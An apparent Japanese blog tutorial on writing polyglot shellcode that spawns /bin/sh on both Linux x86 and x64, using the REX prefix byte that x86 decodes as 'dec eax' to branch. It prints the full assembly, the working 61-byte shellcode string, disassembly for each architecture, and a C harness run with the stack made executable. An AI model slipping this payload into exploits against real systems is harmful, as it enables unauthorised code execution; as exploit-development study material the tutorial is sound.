x86とx64の両方で動くシェルコードを書いてみる

オペコードの解釈の違いを利用し、Linux x86Linux x64の両方で動くシェルコード(polyglot shellcode)を書いてみる。

環境

Ubuntu 12.04 LTS 32bit版および64bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

x64におけるREXプレフィックス

x64では、レジスタを64bit幅として扱うとき命令の頭にREXプレフィックスと呼ばれる1バイトのプレフィックスがつけられる。 64bitのLinux上で確認してみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ echo "test eax, eax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 85C0          test eax,eax

$ echo "test rax, rax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 4885C0        test rax,rax

ここでは、48がREXプレフィックスである。

一方、x86では48はdec eaxを意味する。 すなわち、x86x64では48 85 C0の解釈が異なる。

$ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86 -D -b binary -m i386 hoge
00000000 <.data>:
   0:   48                      dec    eax
   1:   85 c0                   test   eax,eax

$ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86-64 -D -b binary -m i386 hoge
00000000 <.data>:
   0:   48 85 c0                test   rax,rax

これを利用することで、動作しているアーキテクチャx86x64かを判定することができる。

シェルコードを書いてみる

上の違いを利用し、各アーキテクチャ用のシェルコードに分岐するシェルコードを書くと次のようになる。

        /* polyglot.s */
        .intel_syntax noprefix
        .globl _start
_start:
        xor rax, rax
        test rax, rax
        jne x86
x64:
        .ascii "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
x86:
        .ascii "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

x86用は「Linux x86用のシェルコードを書いてみる」x64用は「x64でスタックバッファオーバーフローをやってみる」で作ったシェルコードを利用した。

64bit環境上でアセンブルしてみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ gcc -nostdlib polyglot.s

$ objdump -d a.out
00000000004000d4 <_start>:
  4000d4:       48 31 c0                xor    rax,rax
  4000d7:       48 85 c0                test   rax,rax
  4000da:       75 1d                   jne    4000f9 <x86>

00000000004000dc <x64>:
  4000dc:       48 31 d2                xor    rdx,rdx
  4000df:       52                      push   rdx
  4000e0:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  4000e7:       2f 73 68
  4000ea:       50                      push   rax
  4000eb:       48 89 e7                mov    rdi,rsp
  4000ee:       52                      push   rdx
  4000ef:       57                      push   rdi
  4000f0:       48 89 e6                mov    rsi,rsp
  4000f3:       48 8d 42 3b             lea    rax,[rdx+0x3b]
  4000f7:       0f 05                   syscall

00000000004000f9 <x86>:
  4000f9:       31 d2                   xor    edx,edx
  4000fb:       52                      push   rdx
  4000fc:       68 2f 2f 73 68          push   0x68732f2f
  400101:       68 2f 62 69 6e          push   0x6e69622f
  400106:       89 e3                   mov    ebx,esp
  400108:       52                      push   rdx
  400109:       53                      push   rbx
  40010a:       89 e1                   mov    ecx,esp
  40010c:       8d 42 0b                lea    eax,[rdx+0xb]
  40010f:       cd 80                   int    0x80

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

このシェルコードの長さは61バイトである。

シェルコードをファイルに書き出し、x86x64でそれぞれディスアセンブルしてみると次のようになる。

$ echo -en '\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > polyglot

$ objdump -M intel,x86 -b binary -m i386 -D polyglot
00000000 <.data>:
   0:   48                      dec    eax
   1:   31 c0                   xor    eax,eax
   3:   48                      dec    eax
   4:   85 c0                   test   eax,eax
   6:   75 1d                   jne    0x25
        ...
  25:   31 d2                   xor    edx,edx
  27:   52                      push   edx
  28:   68 2f 2f 73 68          push   0x68732f2f
  2d:   68 2f 62 69 6e          push   0x6e69622f
  32:   89 e3                   mov    ebx,esp
  34:   52                      push   edx
  35:   53                      push   ebx
  36:   89 e1                   mov    ecx,esp
  38:   8d 42 0b                lea    eax,[edx+0xb]
  3b:   cd 80                   int    0x80

$ objdump -M intel,x86-64 -b binary -m i386 -D shellcode
00000000 <.data>:
   0:   48 31 c0                xor    rax,rax
   3:   48 85 c0                test   rax,rax
   6:   75 1d                   jne    0x25
   8:   48 31 d2                xor    rdx,rdx
   b:   52                      push   rdx
   c:   48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  13:   2f 73 68
  16:   50                      push   rax
  17:   48 89 e7                mov    rdi,rsp
  1a:   52                      push   rdx
  1b:   57                      push   rdi
  1c:   48 89 e6                mov    rsi,rsp
  1f:   48 8d 42 3b             lea    rax,[rdx+0x3b]
  23:   0f 05                   syscall
        ...

test eax, eaxはeaxが0かどうかを判定する命令であるが、x86の場合はxor eax, eaxの後dec eaxが実行されるため、これは偽となり0x25にジャンプする。 一方、x64の場合は真となり、ジャンプは行われない。

シェルコードにジャンプするプログラムを書いてみる

スタック上に置いたシェルコードにジャンプするプログラムを書いてみる。

/* shellcode.c */
#include <stdio.h>

int main()
{
    char shellcode[] = "\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    printf("shellcode = %p\n", shellcode);
    (*(void (*)())shellcode)();
}

x86環境で、DEPを無効にしてコンパイル・実行してみる。

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ gcc -z execstack shellcode.c

$ ./a.out
shellcode = 0xbff97d3e
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

x64環境で、DEPを無効にしてコンパイル・実行してみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ gcc -z execstack shellcode.c

$ ./a.out
shellcode = 0x7fff93bc6da0
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

同一のシェルコードにより、x86x64の両方でシェルが起動できていることが確認できた。

関連リンク